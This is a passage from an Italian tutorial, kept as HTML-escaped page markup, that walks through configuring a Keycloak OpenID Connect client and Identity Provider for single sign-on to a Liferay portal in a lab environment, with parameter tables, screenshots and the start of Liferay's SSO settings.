  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;I parametri e valori indicati nella tabella a seguire sono quelli che devono
essere impostati sulla maschera di modifica della configurazione del client
(vedi la figura a seguire). Una buona regola è quella di assegnare un valore
“parlante” o auto esplicativo al parametro Client ID. &lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;width:400px&quot;&gt;Parametro&lt;/th&gt;&lt;th style=&quot;width:400px&quot;&gt;Valore&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Client ID&lt;/td&gt;&lt;td&gt;liferay-portal-client&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Name&lt;/td&gt;&lt;td&gt;Client OpenID Connect per Liferay Portal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Access Type&lt;/td&gt;&lt;td&gt;confidentials&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Valid Redirect URIs&lt;/td&gt;&lt;td&gt;https://portal.smc.lab.local/*&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;figcaption&gt;Tabella 1 - Parametri base di configurazione Client OpenID Connect&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c28f91d92b45fc25c1f228cd493ca055/bcec6/creazione-client-inserimento-parametri-completamento.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:82.33333333333334%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;329\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20329\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M94%2069l1%2016h95V55l-48-1H94v15m1%201v13h93V56H95v14m2%2039v4h15v-9H97v5m-3%2070l1%2016h260v-32H94v16m2%200v14h257v-29H96v15m1%2023v5h12l7-1h-4v-9H97v5m0%2031v5h12l7-1h-4v-9H97v5m-3%2084v7h259v-15H94v8m2%200v6h255v-13H96v7\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c28f91d92b45fc25c1f228cd493ca055/c85cb/creazione-client-inserimento-parametri-completamento.webp 300w,/static/c28f91d92b45fc25c1f228cd493ca055/e88ff/creazione-client-inserimento-parametri-completamento.webp 600w,/static/c28f91d92b45fc25c1f228cd493ca055/92f8c/creazione-client-inserimento-parametri-completamento.webp 1200w,/static/c28f91d92b45fc25c1f228cd493ca055/62ed8/creazione-client-inserimento-parametri-completamento.webp 1800w,/static/c28f91d92b45fc25c1f228cd493ca055/a49df/creazione-client-inserimento-parametri-completamento.webp 1834w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c28f91d92b45fc25c1f228cd493ca055/5a46d/creazione-client-inserimento-parametri-completamento.png 300w,/static/c28f91d92b45fc25c1f228cd493ca055/0a47e/creazione-client-inserimento-parametri-completamento.png 600w,/static/c28f91d92b45fc25c1f228cd493ca055/c1b63/creazione-client-inserimento-parametri-completamento.png 1200w,/static/c28f91d92b45fc25c1f228cd493ca055/d61c2/creazione-client-inserimento-parametri-completamento.png 1800w,/static/c28f91d92b45fc25c1f228cd493ca055/bcec6/creazione-client-inserimento-parametri-completamento.png 1834w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 7 - Completamento della configurazione Client OpenID Connect per il portale Liferay&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c28f91d92b45fc25c1f228cd493ca055/c1b63/creazione-client-inserimento-parametri-completamento.png&quot; title=&quot;Figura 7 - Completamento della configurazione Client OpenID Connect per il portale Liferay&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 7 - Completamento della configurazione Client OpenID Connect per il portale Liferay&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Dopo aver salvato la configurazione del client occorre spostarsi sul tab &lt;em&gt;Credentials&lt;/em&gt;
cliccando successivamente sul pulsante &lt;em&gt;Regenerate Secret&lt;/em&gt;, prendendo nota del
&lt;strong&gt;Secret&lt;/strong&gt; appena generato, questo valore sarà utile nella successiva
configurazione dell’Identity Provider.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/54700966b7df4b530c95978f229a0665/891d5/creazione-client-generate-credentials.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:41%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;163\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20163\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2082v81h67V38h332v63a711%20711%200%20002-20V0H0v82m0%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/54700966b7df4b530c95978f229a0665/c85cb/creazione-client-generate-credentials.webp 300w,/static/54700966b7df4b530c95978f229a0665/e88ff/creazione-client-generate-credentials.webp 600w,/static/54700966b7df4b530c95978f229a0665/92f8c/creazione-client-generate-credentials.webp 1200w,/static/54700966b7df4b530c95978f229a0665/7afe4/creazione-client-generate-credentials.webp 1520w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/54700966b7df4b530c95978f229a0665/5a46d/creazione-client-generate-credentials.png 300w,/static/54700966b7df4b530c95978f229a0665/0a47e/creazione-client-generate-credentials.png 600w,/static/54700966b7df4b530c95978f229a0665/c1b63/creazione-client-generate-credentials.png 1200w,/static/54700966b7df4b530c95978f229a0665/891d5/creazione-client-generate-credentials.png 1520w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 8 - Sezione Credentials della configurazione del client OpenID con in evidenza il Secret&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/54700966b7df4b530c95978f229a0665/c1b63/creazione-client-generate-credentials.png&quot; title=&quot;Figura 8 - Sezione Credentials della configurazione del client OpenID con in evidenza il Secret&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 8 - Sezione Credentials della configurazione del client OpenID con in evidenza il Secret&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Adesso tra la lista dei client registrati su Keycloak è disponibile quello appena
creato per l’integrazione con il portale Liferay (vedi figura a seguire).&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/922b973f8fa89165f228987c7f06f9d2/d8817/lista-client-keycloak.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:37.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;151\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20151\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M224%2074v2l11%201%2012-1h15c0%201%205%201%206-1%201-1%201-1-2-1h-42m-87%2012c0%202%2014%203%2015%201h3l13%201c11%200%2012%200%2013-2v-2l-1%201h-5l-3-1c-3%200-4%201-3%202%200%202-1%201-2-1h-7l-1%202-1-1c0-2-8-1-9%200h-2c-1-1-10-2-10%200m48-1l-3%201c0%202%2012%202%2014%201h17l2%201%201-1h3c0%202%203%201%203-1l-5-1h-25l-2-1-5%201m39%200v2a101%20101%200%200024%200h14l3%201c3%200%204%200%204-2l-4-1h-41M6%20114h7l32%201c25%201%2027%201%2027%207%200%204-3%204-34%203-33-1-33-1-33-7%200-3%200-3-1-2-2%202%200%207%203%209l33%202c33%200%2033%200%2033-5s-2-7-8-8H6m12%2015h-4l-4%202h20l2%201%203-1h1l2%201%203%201h1l6-1%206-1h1c0%202%203%201%203%200%200-2-3-2-18-2a175%20175%200%2001-22%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/922b973f8fa89165f228987c7f06f9d2/c85cb/lista-client-keycloak.webp 300w,/static/922b973f8fa89165f228987c7f06f9d2/e88ff/lista-client-keycloak.webp 600w,/static/922b973f8fa89165f228987c7f06f9d2/92f8c/lista-client-keycloak.webp 1200w,/static/922b973f8fa89165f228987c7f06f9d2/e8403/lista-client-keycloak.webp 1238w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/922b973f8fa89165f228987c7f06f9d2/5a46d/lista-client-keycloak.png 300w,/static/922b973f8fa89165f228987c7f06f9d2/0a47e/lista-client-keycloak.png 600w,/static/922b973f8fa89165f228987c7f06f9d2/c1b63/lista-client-keycloak.png 1200w,/static/922b973f8fa89165f228987c7f06f9d2/d8817/lista-client-keycloak.png 1238w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 9 - Il nuovo client liferay-portal-client disponibile sulla lista dei client del realm&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/922b973f8fa89165f228987c7f06f9d2/c1b63/lista-client-keycloak.png&quot; title=&quot;Figura 9 - Il nuovo client liferay-portal-client disponibile sulla lista dei client del realm&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 9 - Il nuovo client liferay-portal-client disponibile sulla lista dei client del realm&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h3 id=&quot;23---configurazione-identity-provider&quot;&gt;2.3 - Configurazione Identity Provider&lt;/h3&gt;&lt;p&gt;Il terzo step richiede la configurazione dell’Identity Provider OpenID Connect.
I dati essenziali per poter creare il client sono indicati a seguire.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Alias univoco da assegnare all’Identity Provider&lt;/li&gt;&lt;li&gt;Authorization URL&lt;/li&gt;&lt;li&gt;Token URL&lt;/li&gt;&lt;li&gt;Logout URL&lt;/li&gt;&lt;li&gt;Client Authentication&lt;/li&gt;&lt;li&gt;Client ID&lt;/li&gt;&lt;li&gt;Secret&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;I valori che riguardano Authorization, Token e Logout URL, possono essere estratti
dall’&lt;strong&gt;OpenID Connect Endpoint&lt;/strong&gt; (metadati di configurazione) mostrato in precedenza.&lt;/p&gt;&lt;p&gt;I valori che riguardano Client ID e Secret sono quelli impostati in precedenza
durante la creazione del client. &lt;/p&gt;&lt;p&gt;Per avviare la creazione dell’Identity Provider, dalla sezione &lt;em&gt;Configure&lt;/em&gt; del Realm
selezionare la voce &lt;em&gt;Identity Providers&lt;/em&gt; e successivamente selezionare dalla lista
l&amp;#x27;elemento &lt;em&gt;Keycloak OpenID Connect&lt;/em&gt;. Le figure a seguire mostrano le maschere di
creazione del nuovo client.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/aefaa5a53f324937268ace599612e4a9/4969b/creazione-nuovo-identity-provider.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:30.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;121\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20121\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M3%203v114h66V60l1-56%20165-1%20165-1H202L3%203m225%2064l-16%201h-15v15l-1%2014-1%201h1l1%207v12h69v-11c0-6%200-7%202-8v-1c-2%200-2-1-2-6V68h-18l-19-1h-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/aefaa5a53f324937268ace599612e4a9/c85cb/creazione-nuovo-identity-provider.webp 300w,/static/aefaa5a53f324937268ace599612e4a9/e88ff/creazione-nuovo-identity-provider.webp 600w,/static/aefaa5a53f324937268ace599612e4a9/92f8c/creazione-nuovo-identity-provider.webp 1200w,/static/aefaa5a53f324937268ace599612e4a9/62ed8/creazione-nuovo-identity-provider.webp 1800w,/static/aefaa5a53f324937268ace599612e4a9/46261/creazione-nuovo-identity-provider.webp 2400w,/static/aefaa5a53f324937268ace599612e4a9/b23db/creazione-nuovo-identity-provider.webp 2454w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/aefaa5a53f324937268ace599612e4a9/5a46d/creazione-nuovo-identity-provider.png 300w,/static/aefaa5a53f324937268ace599612e4a9/0a47e/creazione-nuovo-identity-provider.png 600w,/static/aefaa5a53f324937268ace599612e4a9/c1b63/creazione-nuovo-identity-provider.png 1200w,/static/aefaa5a53f324937268ace599612e4a9/d61c2/creazione-nuovo-identity-provider.png 1800w,/static/aefaa5a53f324937268ace599612e4a9/97a96/creazione-nuovo-identity-provider.png 2400w,/static/aefaa5a53f324937268ace599612e4a9/4969b/creazione-nuovo-identity-provider.png 2454w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 10 - Creazione del nuovo Identity Provider&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/aefaa5a53f324937268ace599612e4a9/c1b63/creazione-nuovo-identity-provider.png&quot; title=&quot;Figura 10 - Creazione del nuovo Identity Provider&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 10 - Creazione del nuovo Identity Provider&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;La tabella a seguire mostra i parametri e rispettivi valori che devono essere
impostati sulla maschera di creazione del nuovo Identity Provider.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;width:400px&quot;&gt;Parametro&lt;/th&gt;&lt;th style=&quot;width:400px&quot;&gt;Valore&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Authorization URL&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Token URL&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Logout URL&lt;/td&gt;&lt;td&gt;https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/logout&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Client ID&lt;/td&gt;&lt;td&gt;liferay-portal-client&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Secret&lt;/td&gt;&lt;td&gt;8562bd93-8ccd-4426-bf7a-681ac9e38a32&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Alias&lt;/td&gt;&lt;td&gt;iam-keycloak-oidc&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;figcaption&gt;Tabella 2 – Parametri base di configurazione Identity Provider OpenID Connect &lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Le due figure a seguire mostrano le configurazioni che sono state applicate al
nuovo Identity Provider OpenID Connect con i valori indicati dalla precedente
tabella.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3079913beae03883e28c173575da8e2a/c9c44/creazione-identity-provider-openid-connect.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:53.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;213\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20213\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M75%20120v5h17v-11H75v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3079913beae03883e28c173575da8e2a/c85cb/creazione-identity-provider-openid-connect.webp 300w,/static/3079913beae03883e28c173575da8e2a/e88ff/creazione-identity-provider-openid-connect.webp 600w,/static/3079913beae03883e28c173575da8e2a/92f8c/creazione-identity-provider-openid-connect.webp 1200w,/static/3079913beae03883e28c173575da8e2a/2b169/creazione-identity-provider-openid-connect.webp 1245w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3079913beae03883e28c173575da8e2a/5a46d/creazione-identity-provider-openid-connect.png 300w,/static/3079913beae03883e28c173575da8e2a/0a47e/creazione-identity-provider-openid-connect.png 600w,/static/3079913beae03883e28c173575da8e2a/c1b63/creazione-identity-provider-openid-connect.png 1200w,/static/3079913beae03883e28c173575da8e2a/c9c44/creazione-identity-provider-openid-connect.png 1245w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 11 - Sezione generale della maschera di creazione del Provider OpenID Connect&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3079913beae03883e28c173575da8e2a/c1b63/creazione-identity-provider-openid-connect.png&quot; title=&quot;Figura 11 - Sezione generale della maschera di creazione del Provider OpenID Connect&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 11 - Sezione generale della maschera di creazione del Provider OpenID Connect&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:861px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/3633cace65281412d4c337dcdd8a3679/e35ec/creazione-identity-provider-openid-connect-dettaglio.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:87.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;350\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20350\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M9%2043l1%2020h374V24H9v19m2-17l-1%2018v17h373V26l-186-1-186%201m-1%20112v13h381v-26H10v13m1%201v11h379v-23H11v12m1%2050c0%202%201%203%205%203l4-1h9l1%201%201-2v-2l1%202c0%202%202%201%202-1%201-1%201-1%201%201s0%202%204%202l4-2c1-1%201-1%201%201%201%201%201%201%201-1%200-3-3-4-4-2h-1l-2-1-1%201v1h-1c0-3-7-3-8%200v-1h-1l-1-1-5%201h-6l-2-2c-2%200-2%200-2%203m-2%2073l-1%2043v43h375v-86l-187-1-187%201m0%2043l1%2042h372v-84H10v42m14-18v3h3c4%201%205%201%205-2h1c1%203%204%203%204%201s0-2%201-1l1%202%203%201%202-1v-1l1%201%201-1%201-1c0%202%201%202%202%202h1l1%201%201-2c-1-1-1-1%200%200l1%201%202%201%202-2c0-2-1-3-2-2l-2-1h-6l-2%201h-1l-3-1h-5c-3-1-6%201-5%202l-1%201-1-2-1%201c-1%201-1%201-1-1-1-2-3-3-3%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/3633cace65281412d4c337dcdd8a3679/c85cb/creazione-identity-provider-openid-connect-dettaglio.webp 300w,/static/3633cace65281412d4c337dcdd8a3679/e88ff/creazione-identity-provider-openid-connect-dettaglio.webp 600w,/static/3633cace65281412d4c337dcdd8a3679/16d1d/creazione-identity-provider-openid-connect-dettaglio.webp 861w&quot; sizes=&quot;(max-width: 861px) 100vw, 861px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/3633cace65281412d4c337dcdd8a3679/5a46d/creazione-identity-provider-openid-connect-dettaglio.png 300w,/static/3633cace65281412d4c337dcdd8a3679/0a47e/creazione-identity-provider-openid-connect-dettaglio.png 600w,/static/3633cace65281412d4c337dcdd8a3679/e35ec/creazione-identity-provider-openid-connect-dettaglio.png 861w&quot; sizes=&quot;(max-width: 861px) 100vw, 861px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 12 - Sezione di configurazione specifica di OpenID Connect&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/3633cace65281412d4c337dcdd8a3679/e35ec/creazione-identity-provider-openid-connect-dettaglio.png&quot; title=&quot;Figura 12 - Sezione di configurazione specifica di OpenID Connect&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 12 - Sezione di configurazione specifica di OpenID Connect&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h3 id=&quot;24---configurazione-delle-utenze&quot;&gt;2.4 - Configurazione delle utenze&lt;/h3&gt;&lt;p&gt;Affinché sia possibile fare accedere degli utenti, è necessario che questi siano
configurati su Keycloak. Per fare quest’operazione è possibile per esempio configurare
un servizio di directory LDAP o inserire manualmente qualche utente a puro scopo
di test.&lt;/p&gt;&lt;p&gt;Per quest’operazione si rimanda alla documentazione ufficiale di Keycloak dove è
possibile recuperare tutte le informazioni necessarie su &lt;a href=&quot;https://www.keycloak.org/docs/15.0/server_admin/index.html#user-management&quot;&gt;User Management&lt;/a&gt; e
&lt;a href=&quot;https://www.keycloak.org/docs/15.0/server_admin/index.html#_user-storage-federation&quot;&gt;User Storage Federation&lt;/a&gt;,
funzionalità utili per la gestione degli utenti e meccanismi di storage.&lt;/p&gt;&lt;h2 id=&quot;3---configurazione-di-liferay&quot;&gt;3 - Configurazione di Liferay&lt;/h2&gt;&lt;p&gt;Una volta conclusa la configurazione dell’istanza Keycloak per quel che riguarda
OpenID Connect, occorre configurare Liferay in modo che sia in grado di supportare
l’autenticazione tramite OpenID Connect.&lt;/p&gt;&lt;p&gt;Liferay offre built-in il supporto per i sistemi SSO e OpenID Connect rientra
tra questi. È possibile aggiungere più configurazioni di OpenID Connection
Provider.&lt;/p&gt;&lt;p&gt;Assumiamo quindi che l’istanza del portale Liferay sia operativa e accediamo al
pannello di amministrazione utilizzando le credenziali di amministrazione.
Ipotizziamo che l’istanza di Liferay sia disponibile all’indirizzo &lt;a href=&quot;https://portal.smc.lab.local&quot;&gt;https://portal.smc.lab.local&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Per eventuali approfondimenti circa la configurazione di OpenID Connect su Liferay
(sia CE sia DXP), fare riferimento alla documentazione ufficiale
&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360028711312-Authenticating-with-OpenID-Connect&quot;&gt;Authenticating with OpenID Connect&lt;/a&gt;.&lt;/p&gt;&lt;h3 id=&quot;31---configurazione-di-openid-connect&quot;&gt;3.1 - Configurazione di OpenID Connect&lt;/h3&gt;&lt;p&gt;Il primo step di configurazione riguarda l’abilitazione di OpenID Connect, il
secondo step riguarda invece la configurazione di OpenID Connect e in particolare
del Provider.&lt;/p&gt;&lt;p&gt;Per abilitare OpenID Connect, è sufficiente andare su
&lt;em&gt;Control Panel =&amp;gt; System Settings =&amp;gt; SSO =&amp;gt; OpenID Connect&lt;/em&gt;, mettere la spunta su
